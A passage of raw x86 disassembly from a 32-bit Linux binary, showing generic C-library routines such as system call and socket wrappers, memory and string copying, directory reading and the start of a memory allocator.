804c20a: b8 05 00 00 00 mov $0x5,%eax | |
804c20f: cd 80 int $0x80 | |
804c211: 5b pop %ebx | |
804c212: 89 c3 mov %eax,%ebx | |
804c214: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c219: 76 0c jbe 0x804c227 | |
804c21b: e8 96 03 00 00 call 0x804c5b6 | |
804c220: f7 db neg %ebx | |
804c222: 89 18 mov %ebx,(%eax) | |
804c224: 83 cb ff or $0xffffffff,%ebx | |
804c227: 89 d8 mov %ebx,%eax | |
804c229: 83 c4 14 add $0x14,%esp | |
804c22c: 5b pop %ebx | |
804c22d: 5f pop %edi | |
804c22e: c3 ret | |
804c22f: 57 push %edi | |
804c230: 56 push %esi | |
804c231: 83 ec 04 sub $0x4,%esp | |
804c234: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c238: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c23c: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804c240: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c244: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c248: 53 push %ebx | |
804c249: 89 c3 mov %eax,%ebx | |
804c24b: b8 ac 00 00 00 mov $0xac,%eax | |
804c250: cd 80 int $0x80 | |
804c252: 5b pop %ebx | |
804c253: 89 c6 mov %eax,%esi | |
804c255: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c25a: 76 0c jbe 0x804c268 | |
804c25c: e8 55 03 00 00 call 0x804c5b6 | |
804c261: f7 de neg %esi | |
804c263: 89 30 mov %esi,(%eax) | |
804c265: 83 ce ff or $0xffffffff,%esi | |
804c268: 89 f0 mov %esi,%eax | |
804c26a: 5a pop %edx | |
804c26b: 5e pop %esi | |
804c26c: 5f pop %edi | |
804c26d: c3 ret | |
804c26e: 57 push %edi | |
804c26f: 83 ec 08 sub $0x8,%esp | |
804c272: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c276: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c27a: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c27e: 53 push %ebx | |
804c27f: 89 fb mov %edi,%ebx | |
804c281: b8 03 00 00 00 mov $0x3,%eax | |
804c286: cd 80 int $0x80 | |
804c288: 5b pop %ebx | |
804c289: 89 c7 mov %eax,%edi | |
804c28b: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c290: 76 0c jbe 0x804c29e | |
804c292: e8 1f 03 00 00 call 0x804c5b6 | |
804c297: f7 df neg %edi | |
804c299: 89 38 mov %edi,(%eax) | |
804c29b: 83 cf ff or $0xffffffff,%edi | |
804c29e: 89 f8 mov %edi,%eax | |
804c2a0: 5a pop %edx | |
804c2a1: 59 pop %ecx | |
804c2a2: 5f pop %edi | |
804c2a3: c3 ret | |
804c2a4: 57 push %edi | |
804c2a5: 83 ec 08 sub $0x8,%esp | |
804c2a8: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c2ac: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c2b0: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c2b4: 53 push %ebx | |
804c2b5: 89 fb mov %edi,%ebx | |
804c2b7: b8 55 00 00 00 mov $0x55,%eax | |
804c2bc: cd 80 int $0x80 | |
804c2be: 5b pop %ebx | |
804c2bf: 89 c7 mov %eax,%edi | |
804c2c1: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c2c6: 76 0c jbe 0x804c2d4 | |
804c2c8: e8 e9 02 00 00 call 0x804c5b6 | |
804c2cd: f7 df neg %edi | |
804c2cf: 89 38 mov %edi,(%eax) | |
804c2d1: 83 cf ff or $0xffffffff,%edi | |
804c2d4: 89 f8 mov %edi,%eax | |
804c2d6: 5a pop %edx | |
804c2d7: 59 pop %ecx | |
804c2d8: 5f pop %edi | |
804c2d9: c3 ret | |
804c2da: 57 push %edi | |
804c2db: 56 push %esi | |
804c2dc: 83 ec 04 sub $0x4,%esp | |
804c2df: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c2e3: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c2e7: 8b 74 24 1c mov 0x1c(%esp),%esi | |
804c2eb: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c2ef: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c2f3: 53 push %ebx | |
804c2f4: 89 c3 mov %eax,%ebx | |
804c2f6: b8 8e 00 00 00 mov $0x8e,%eax | |
804c2fb: cd 80 int $0x80 | |
804c2fd: 5b pop %ebx | |
804c2fe: 89 c6 mov %eax,%esi | |
804c300: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c305: 76 0c jbe 0x804c313 | |
804c307: e8 aa 02 00 00 call 0x804c5b6 | |
804c30c: f7 de neg %esi | |
804c30e: 89 30 mov %esi,(%eax) | |
804c310: 83 ce ff or $0xffffffff,%esi | |
804c313: 89 f0 mov %esi,%eax | |
804c315: 5a pop %edx | |
804c316: 5e pop %esi | |
804c317: 5f pop %edi | |
804c318: c3 ret | |
804c319: 53 push %ebx | |
804c31a: 83 ec 08 sub $0x8,%esp | |
804c31d: b8 42 00 00 00 mov $0x42,%eax | |
804c322: cd 80 int $0x80 | |
804c324: 89 c3 mov %eax,%ebx | |
804c326: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c32b: 76 0c jbe 0x804c339 | |
804c32d: e8 84 02 00 00 call 0x804c5b6 | |
804c332: f7 db neg %ebx | |
804c334: 89 18 mov %ebx,(%eax) | |
804c336: 83 cb ff or $0xffffffff,%ebx | |
804c339: 89 d8 mov %ebx,%eax | |
804c33b: 5a pop %edx | |
804c33c: 59 pop %ecx | |
804c33d: 5b pop %ebx | |
804c33e: c3 ret | |
804c33f: 57 push %edi | |
804c340: 83 ec 08 sub $0x8,%esp | |
804c343: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c347: 53 push %ebx | |
804c348: 89 fb mov %edi,%ebx | |
804c34a: b8 0d 00 00 00 mov $0xd,%eax | |
804c34f: cd 80 int $0x80 | |
804c351: 5b pop %ebx | |
804c352: 89 c7 mov %eax,%edi | |
804c354: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c359: 76 0c jbe 0x804c367 | |
804c35b: e8 56 02 00 00 call 0x804c5b6 | |
804c360: f7 df neg %edi | |
804c362: 89 38 mov %edi,(%eax) | |
804c364: 83 cf ff or $0xffffffff,%edi | |
804c367: 89 f8 mov %edi,%eax | |
804c369: 5a pop %edx | |
804c36a: 59 pop %ecx | |
804c36b: 5f pop %edi | |
804c36c: c3 ret | |
804c36d: 57 push %edi | |
804c36e: 83 ec 08 sub $0x8,%esp | |
804c371: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c375: 53 push %ebx | |
804c376: 89 fb mov %edi,%ebx | |
804c378: b8 0a 00 00 00 mov $0xa,%eax | |
804c37d: cd 80 int $0x80 | |
804c37f: 5b pop %ebx | |
804c380: 89 c7 mov %eax,%edi | |
804c382: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c387: 76 0c jbe 0x804c395 | |
804c389: e8 28 02 00 00 call 0x804c5b6 | |
804c38e: f7 df neg %edi | |
804c390: 89 38 mov %edi,(%eax) | |
804c392: 83 cf ff or $0xffffffff,%edi | |
804c395: 89 f8 mov %edi,%eax | |
804c397: 5a pop %edx | |
804c398: 59 pop %ecx | |
804c399: 5f pop %edi | |
804c39a: c3 ret | |
804c39b: 57 push %edi | |
804c39c: 83 ec 08 sub $0x8,%esp | |
804c39f: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c3a3: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c3a7: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c3ab: 53 push %ebx | |
804c3ac: 89 fb mov %edi,%ebx | |
804c3ae: b8 04 00 00 00 mov $0x4,%eax | |
804c3b3: cd 80 int $0x80 | |
804c3b5: 5b pop %ebx | |
804c3b6: 89 c7 mov %eax,%edi | |
804c3b8: 3d 00 f0 ff ff cmp $0xfffff000,%eax | |
804c3bd: 76 0c jbe 0x804c3cb | |
804c3bf: e8 f2 01 00 00 call 0x804c5b6 | |
804c3c4: f7 df neg %edi | |
804c3c6: 89 38 mov %edi,(%eax) | |
804c3c8: 83 cf ff or $0xffffffff,%edi | |
804c3cb: 89 f8 mov %edi,%eax | |
804c3cd: 5a pop %edx | |
804c3ce: 59 pop %ecx | |
804c3cf: 5f pop %edi | |
804c3d0: c3 ret | |
804c3d1: 57 push %edi | |
804c3d2: 56 push %esi | |
804c3d3: 53 push %ebx | |
804c3d4: 83 ec 10 sub $0x10,%esp | |
804c3d7: 8b 7c 24 20 mov 0x20(%esp),%edi | |
804c3db: 83 3f ff cmpl $0xffffffff,(%edi) | |
804c3de: 75 10 jne 0x804c3f0 | |
804c3e0: e8 d1 01 00 00 call 0x804c5b6 | |
804c3e5: c7 00 09 00 00 00 movl $0x9,(%eax) | |
804c3eb: 83 c8 ff or $0xffffffff,%eax | |
804c3ee: eb 4a jmp 0x804c43a | |
804c3f0: 8d 5f 18 lea 0x18(%edi),%ebx | |
804c3f3: 56 push %esi | |
804c3f4: 53 push %ebx | |
804c3f5: 68 99 dd 04 08 push $0x804dd99 | |
804c3fa: 8d 74 24 0c lea 0xc(%esp),%esi | |
804c3fe: 56 push %esi | |
804c3ff: e8 98 19 00 00 call 0x804dd9c | |
804c404: 89 1c 24 mov %ebx,(%esp) | |
804c407: e8 8d 19 00 00 call 0x804dd99 | |
804c40c: 8b 1f mov (%edi),%ebx | |
804c40e: c7 07 ff ff ff ff movl $0xffffffff,(%edi) | |
804c414: 5a pop %edx | |
804c415: 59 pop %ecx | |
804c416: 6a 01 push $0x1 | |
804c418: 56 push %esi | |
804c419: e8 7e 19 00 00 call 0x804dd9c | |
804c41e: 58 pop %eax | |
804c41f: ff 77 0c pushl 0xc(%edi) | |
804c422: e8 0e 12 00 00 call 0x804d635 | |
804c427: 89 3c 24 mov %edi,(%esp) | |
804c42a: e8 06 12 00 00 call 0x804d635 | |
804c42f: 89 1c 24 mov %ebx,(%esp) | |
804c432: e8 9c fc ff ff call 0x804c0d3 | |
804c437: 83 c4 10 add $0x10,%esp | |
804c43a: 83 c4 10 add $0x10,%esp | |
804c43d: 5b pop %ebx | |
804c43e: 5e pop %esi | |
804c43f: 5f pop %edi | |
804c440: c3 ret | |
804c441: 57 push %edi | |
804c442: 56 push %esi | |
804c443: 53 push %ebx | |
804c444: 31 db xor %ebx,%ebx | |
804c446: 83 ec 68 sub $0x68,%esp | |
804c449: 68 00 08 01 00 push $0x10800 | |
804c44e: ff 74 24 7c pushl 0x7c(%esp) | |
804c452: e8 8d fd ff ff call 0x804c1e4 | |
804c457: 83 c4 10 add $0x10,%esp | |
804c45a: 89 c7 mov %eax,%edi | |
804c45c: 85 c0 test %eax,%eax | |
804c45e: 0f 88 c5 00 00 00 js 0x804c529 | |
804c464: 53 push %ebx | |
804c465: 53 push %ebx | |
804c466: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c46a: 50 push %eax | |
804c46b: 57 push %edi | |
804c46c: e8 25 1d 00 00 call 0x804e196 | |
804c471: 83 c4 10 add $0x10,%esp | |
804c474: 85 c0 test %eax,%eax | |
804c476: 78 12 js 0x804c48a | |
804c478: 51 push %ecx | |
804c479: 6a 01 push $0x1 | |
804c47b: 6a 02 push $0x2 | |
804c47d: 57 push %edi | |
804c47e: e8 ba fb ff ff call 0x804c03d | |
804c483: 83 c4 10 add $0x10,%esp | |
804c486: 85 c0 test %eax,%eax | |
804c488: 79 16 jns 0x804c4a0 | |
804c48a: e8 27 01 00 00 call 0x804c5b6 | |
804c48f: 83 ec 0c sub $0xc,%esp | |
804c492: 89 c3 mov %eax,%ebx | |
804c494: 8b 30 mov (%eax),%esi | |
804c496: 57 push %edi | |
804c497: e8 37 fc ff ff call 0x804c0d3 | |
804c49c: 89 33 mov %esi,(%ebx) | |
804c49e: eb 75 jmp 0x804c515 | |
804c4a0: 83 ec 0c sub $0xc,%esp | |
804c4a3: 6a 30 push $0x30 | |
804c4a5: e8 c6 03 00 00 call 0x804c870 | |
804c4aa: 83 c4 10 add $0x10,%esp | |
804c4ad: 89 c3 mov %eax,%ebx | |
804c4af: 85 c0 test %eax,%eax | |
804c4b1: 74 4e je 0x804c501 | |
804c4b3: 89 38 mov %edi,(%eax) | |
804c4b5: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax) | |
804c4bc: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) | |
804c4c3: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) | |
804c4ca: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c4ce: 89 43 14 mov %eax,0x14(%ebx) | |
804c4d1: 3d ff 01 00 00 cmp $0x1ff,%eax | |
804c4d6: 77 07 ja 0x804c4df | |
804c4d8: c7 43 14 00 02 00 00 movl $0x200,0x14(%ebx) | |
804c4df: 52 push %edx | |
804c4e0: 52 push %edx | |
804c4e1: ff 73 14 pushl 0x14(%ebx) | |
804c4e4: 6a 01 push $0x1 | |
804c4e6: e8 f9 0a 00 00 call 0x804cfe4 | |
804c4eb: 83 c4 10 add $0x10,%esp | |
804c4ee: 89 43 0c mov %eax,0xc(%ebx) | |
804c4f1: 85 c0 test %eax,%eax | |
804c4f3: 75 24 jne 0x804c519 | |
804c4f5: 83 ec 0c sub $0xc,%esp | |
804c4f8: 53 push %ebx | |
804c4f9: e8 37 11 00 00 call 0x804d635 | |
804c4fe: 83 c4 10 add $0x10,%esp | |
804c501: 83 ec 0c sub $0xc,%esp | |
804c504: 57 push %edi | |
804c505: e8 c9 fb ff ff call 0x804c0d3 | |
804c50a: e8 a7 00 00 00 call 0x804c5b6 | |
804c50f: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804c515: 31 db xor %ebx,%ebx | |
804c517: eb 0d jmp 0x804c526 | |
804c519: 50 push %eax | |
804c51a: 50 push %eax | |
804c51b: 8d 43 18 lea 0x18(%ebx),%eax | |
804c51e: 6a 00 push $0x0 | |
804c520: 50 push %eax | |
804c521: e8 73 18 00 00 call 0x804dd99 | |
804c526: 83 c4 10 add $0x10,%esp | |
804c529: 83 c4 60 add $0x60,%esp | |
804c52c: 89 d8 mov %ebx,%eax | |
804c52e: 5b pop %ebx | |
804c52f: 5e pop %esi | |
804c530: 5f pop %edi | |
804c531: c3 ret | |
804c532: 56 push %esi | |
804c533: 53 push %ebx | |
804c534: 83 ec 18 sub $0x18,%esp | |
804c537: 8b 74 24 24 mov 0x24(%esp),%esi | |
804c53b: 8d 5e 18 lea 0x18(%esi),%ebx | |
804c53e: 53 push %ebx | |
804c53f: 68 99 dd 04 08 push $0x804dd99 | |
804c544: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c548: 50 push %eax | |
804c549: e8 4e 18 00 00 call 0x804dd9c | |
804c54e: 89 1c 24 mov %ebx,(%esp) | |
804c551: e8 43 18 00 00 call 0x804dd99 | |
804c556: 83 c4 10 add $0x10,%esp | |
804c559: 8b 46 08 mov 0x8(%esi),%eax | |
804c55c: 3b 46 04 cmp 0x4(%esi),%eax | |
804c55f: 77 23 ja 0x804c584 | |
804c561: 52 push %edx | |
804c562: ff 76 14 pushl 0x14(%esi) | |
804c565: ff 76 0c pushl 0xc(%esi) | |
804c568: ff 36 pushl (%esi) | |
804c56a: e8 6f 1c 00 00 call 0x804e1de | |
804c56f: 83 c4 10 add $0x10,%esp | |
804c572: 85 c0 test %eax,%eax | |
804c574: 7f 04 jg 0x804c57a | |
804c576: 31 db xor %ebx,%ebx | |
804c578: eb 26 jmp 0x804c5a0 | |
804c57a: 89 46 08 mov %eax,0x8(%esi) | |
804c57d: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi) | |
804c584: 8b 46 04 mov 0x4(%esi),%eax | |
804c587: 89 c3 mov %eax,%ebx | |
804c589: 03 5e 0c add 0xc(%esi),%ebx | |
804c58c: 0f b7 53 08 movzwl 0x8(%ebx),%edx | |
804c590: 01 d0 add %edx,%eax | |
804c592: 89 46 04 mov %eax,0x4(%esi) | |
804c595: 8b 43 04 mov 0x4(%ebx),%eax | |
804c598: 89 46 10 mov %eax,0x10(%esi) | |
804c59b: 83 3b 00 cmpl $0x0,(%ebx) | |
804c59e: 74 b9 je 0x804c559 | |
804c5a0: 50 push %eax | |
804c5a1: 50 push %eax | |
804c5a2: 6a 01 push $0x1 | |
804c5a4: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c5a8: 50 push %eax | |
804c5a9: e8 ee 17 00 00 call 0x804dd9c | |
804c5ae: 89 d8 mov %ebx,%eax | |
804c5b0: 83 c4 24 add $0x24,%esp | |
804c5b3: 5b pop %ebx | |
804c5b4: 5e pop %esi | |
804c5b5: c3 ret | |
804c5b6: b8 00 f1 04 08 mov $0x804f100,%eax | |
804c5bb: c3 ret | |
804c5bc: 83 ec 28 sub $0x28,%esp | |
804c5bf: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c5c3: 50 push %eax | |
804c5c4: e8 3f 20 00 00 call 0x804e608 | |
804c5c9: 8b 44 24 20 mov 0x20(%esp),%eax | |
804c5cd: 03 44 24 1c add 0x1c(%esp),%eax | |
804c5d1: 83 c4 2c add $0x2c,%esp | |
804c5d4: 69 c0 10 27 00 00 imul $0x2710,%eax,%eax | |
804c5da: 25 ff ff ff 7f and $0x7fffffff,%eax | |
804c5df: c3 ret | |
804c5e0: 57 push %edi | |
804c5e1: 56 push %esi | |
804c5e2: 8b 44 24 0c mov 0xc(%esp),%eax | |
804c5e6: 8b 74 24 10 mov 0x10(%esp),%esi | |
804c5ea: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c5ee: 39 f0 cmp %esi,%eax | |
804c5f0: 73 06 jae 0x804c5f8 | |
804c5f2: 89 c7 mov %eax,%edi | |
804c5f4: f3 a4 rep movsb %ds:(%esi),%es:(%edi) | |
804c5f6: eb 0c jmp 0x804c604 | |
804c5f8: 8d 74 0e ff lea -0x1(%esi,%ecx,1),%esi | |
804c5fc: 8d 7c 08 ff lea -0x1(%eax,%ecx,1),%edi | |
804c600: fd std | |
804c601: f3 a4 rep movsb %ds:(%esi),%es:(%edi) | |
804c603: fc cld | |
804c604: 5e pop %esi | |
804c605: 5f pop %edi | |
804c606: c3 ret | |
804c607: 57 push %edi | |
804c608: 8b 44 24 0c mov 0xc(%esp),%eax | |
804c60c: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804c610: 8b 7c 24 08 mov 0x8(%esp),%edi | |
804c614: f3 aa rep stos %al,%es:(%edi) | |
804c616: 8b 44 24 08 mov 0x8(%esp),%eax | |
804c61a: 5f pop %edi | |
804c61b: c3 ret | |
804c61c: 57 push %edi | |
804c61d: 56 push %esi | |
804c61e: 83 ec 04 sub $0x4,%esp | |
804c621: 8b 74 24 14 mov 0x14(%esp),%esi | |
804c625: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c629: ac lods %ds:(%esi),%al | |
804c62a: aa stos %al,%es:(%edi) | |
804c62b: 84 c0 test %al,%al | |
804c62d: 75 fa jne 0x804c629 | |
804c62f: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c633: 5a pop %edx | |
804c634: 5e pop %esi | |
804c635: 5f pop %edi | |
804c636: c3 ret | |
804c637: 83 ec 24 sub $0x24,%esp | |
804c63a: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c63e: 50 push %eax | |
804c63f: ff 74 24 2c pushl 0x2c(%esp) | |
804c643: e8 92 20 00 00 call 0x804e6da | |
804c648: 83 c4 10 add $0x10,%esp | |
804c64b: 83 ca ff or $0xffffffff,%edx | |
804c64e: 85 c0 test %eax,%eax | |
804c650: 74 04 je 0x804c656 | |
804c652: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c656: 89 d0 mov %edx,%eax | |
804c658: 83 c4 1c add $0x1c,%esp | |
804c65b: c3 ret | |
804c65c: 83 ec 24 sub $0x24,%esp | |
804c65f: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c663: 89 44 24 18 mov %eax,0x18(%esp) | |
804c667: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c66b: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c66f: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c673: 89 44 24 20 mov %eax,0x20(%esp) | |
804c677: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c67b: 50 push %eax | |
804c67c: 6a 02 push $0x2 | |
804c67e: e8 4c 1a 00 00 call 0x804e0cf | |
804c683: 83 c4 2c add $0x2c,%esp | |
804c686: c3 ret | |
804c687: 83 ec 24 sub $0x24,%esp | |
804c68a: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c68e: 89 44 24 18 mov %eax,0x18(%esp) | |
804c692: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c696: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c69a: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c69e: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6a2: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c6a6: 50 push %eax | |
804c6a7: 6a 03 push $0x3 | |
804c6a9: e8 21 1a 00 00 call 0x804e0cf | |
804c6ae: 83 c4 2c add $0x2c,%esp | |
804c6b1: c3 ret | |
804c6b2: 83 ec 24 sub $0x24,%esp | |
804c6b5: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c6b9: 89 44 24 18 mov %eax,0x18(%esp) | |
804c6bd: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c6c1: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c6c5: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c6c9: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6cd: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c6d1: 50 push %eax | |
804c6d2: 6a 06 push $0x6 | |
804c6d4: e8 f6 19 00 00 call 0x804e0cf | |
804c6d9: 83 c4 2c add $0x2c,%esp | |
804c6dc: c3 ret | |
804c6dd: 83 ec 34 sub $0x34,%esp | |
804c6e0: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c6e4: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6e8: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c6ec: 89 44 24 24 mov %eax,0x24(%esp) | |
804c6f0: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c6f4: 89 44 24 28 mov %eax,0x28(%esp) | |
804c6f8: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c6fc: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c700: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c704: 89 44 24 30 mov %eax,0x30(%esp) | |
804c708: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c70c: 50 push %eax | |
804c70d: 6a 0f push $0xf | |
804c70f: e8 bb 19 00 00 call 0x804e0cf | |
804c714: 83 c4 3c add $0x3c,%esp | |
804c717: c3 ret | |
804c718: 83 ec 24 sub $0x24,%esp | |
804c71b: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c71f: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c723: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c727: 89 44 24 20 mov %eax,0x20(%esp) | |
804c72b: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804c72f: 50 push %eax | |
804c730: 6a 04 push $0x4 | |
804c732: e8 98 19 00 00 call 0x804e0cf | |
804c737: 83 c4 2c add $0x2c,%esp | |
804c73a: c3 ret | |
804c73b: 83 ec 24 sub $0x24,%esp | |
804c73e: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c742: 89 44 24 14 mov %eax,0x14(%esp) | |
804c746: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c74a: 89 44 24 18 mov %eax,0x18(%esp) | |
804c74e: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c752: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c756: 8b 44 24 34 mov 0x34(%esp),%eax | |
804c75a: 89 44 24 20 mov %eax,0x20(%esp) | |
804c75e: 8d 44 24 14 lea 0x14(%esp),%eax | |
804c762: 50 push %eax | |
804c763: 6a 0a push $0xa | |
804c765: e8 65 19 00 00 call 0x804e0cf | |
804c76a: 83 c4 2c add $0x2c,%esp | |
804c76d: c3 ret | |
804c76e: 83 ec 24 sub $0x24,%esp | |
804c771: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c775: 89 44 24 14 mov %eax,0x14(%esp) | |
804c779: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c77d: 89 44 24 18 mov %eax,0x18(%esp) | |
804c781: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c785: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c789: 8b 44 24 34 mov 0x34(%esp),%eax | |
804c78d: 89 44 24 20 mov %eax,0x20(%esp) | |
804c791: 8d 44 24 14 lea 0x14(%esp),%eax | |
804c795: 50 push %eax | |
804c796: 6a 09 push $0x9 | |
804c798: e8 32 19 00 00 call 0x804e0cf | |
804c79d: 83 c4 2c add $0x2c,%esp | |
804c7a0: c3 ret | |
804c7a1: 83 ec 34 sub $0x34,%esp | |
804c7a4: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c7a8: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c7ac: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c7b0: 89 44 24 20 mov %eax,0x20(%esp) | |
804c7b4: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c7b8: 89 44 24 24 mov %eax,0x24(%esp) | |
804c7bc: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c7c0: 89 44 24 28 mov %eax,0x28(%esp) | |
804c7c4: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c7c8: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c7cc: 8b 44 24 4c mov 0x4c(%esp),%eax | |
804c7d0: 89 44 24 30 mov %eax,0x30(%esp) | |
804c7d4: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804c7d8: 50 push %eax | |
804c7d9: 6a 0b push $0xb | |
804c7db: e8 ef 18 00 00 call 0x804e0cf | |
804c7e0: 83 c4 3c add $0x3c,%esp | |
804c7e3: c3 ret | |
804c7e4: 83 ec 34 sub $0x34,%esp | |
804c7e7: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c7eb: 89 44 24 20 mov %eax,0x20(%esp) | |
804c7ef: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c7f3: 89 44 24 24 mov %eax,0x24(%esp) | |
804c7f7: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c7fb: 89 44 24 28 mov %eax,0x28(%esp) | |
804c7ff: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c803: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c807: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c80b: 89 44 24 30 mov %eax,0x30(%esp) | |
804c80f: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c813: 50 push %eax | |
804c814: 6a 0e push $0xe | |
804c816: e8 b4 18 00 00 call 0x804e0cf | |
804c81b: 83 c4 3c add $0x3c,%esp | |
804c81e: c3 ret | |
804c81f: 83 ec 24 sub $0x24,%esp | |
804c822: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c826: 89 44 24 18 mov %eax,0x18(%esp) | |
804c82a: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c82e: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c832: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c836: 89 44 24 20 mov %eax,0x20(%esp) | |
804c83a: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c83e: 50 push %eax | |
804c83f: 6a 01 push $0x1 | |
804c841: e8 89 18 00 00 call 0x804e0cf | |
804c846: 83 c4 2c add $0x2c,%esp | |
804c849: c3 ret | |
804c84a: 89 c2 mov %eax,%edx | |
804c84c: 53 push %ebx | |
804c84d: c1 ea 08 shr $0x8,%edx | |
804c850: 89 c3 mov %eax,%ebx | |
804c852: 81 fa ff ff 00 00 cmp $0xffff,%edx | |
804c858: b8 5f 00 00 00 mov $0x5f,%eax | |
804c85d: 77 0f ja 0x804c86e | |
804c85f: 0f bd c2 bsr %edx,%eax | |
804c862: 8d 48 06 lea 0x6(%eax),%ecx | |
804c865: d3 eb shr %cl,%ebx | |
804c867: 83 e3 03 and $0x3,%ebx | |
804c86a: 8d 44 83 20 lea 0x20(%ebx,%eax,4),%eax | |
804c86e: 5b pop %ebx | |
804c86f: c3 ret | |
804c870: 55 push %ebp | |
804c871: 57 push %edi | |
804c872: 56 push %esi | |
804c873: 53 push %ebx | |
804c874: 83 ec 40 sub $0x40,%esp | |
804c877: 8b 5c 24 54 mov 0x54(%esp),%ebx | |
804c87b: 68 38 f0 04 08 push $0x804f038 | |
804c880: 68 99 dd 04 08 push $0x804dd99 | |
804c885: 8d 44 24 38 lea 0x38(%esp),%eax | |
804c889: 50 push %eax | |
804c88a: e8 0d 15 00 00 call 0x804dd9c | |
804c88f: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804c896: e8 fe 14 00 00 call 0x804dd99 | |
804c89b: 83 c4 10 add $0x10,%esp | |
804c89e: 83 fb df cmp $0xffffffdf,%ebx | |
804c8a1: 76 12 jbe 0x804c8b5 | |
804c8a3: e8 0e fd ff ff call 0x804c5b6 | |
804c8a8: 31 db xor %ebx,%ebx | |
804c8aa: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804c8b0: e9 25 07 00 00 jmp 0x804cfda | |
804c8b5: 8d 43 0b lea 0xb(%ebx),%eax | |
804c8b8: c7 44 24 14 10 00 00 movl $0x10,0x14(%esp) | |
804c8bf: 00 | |
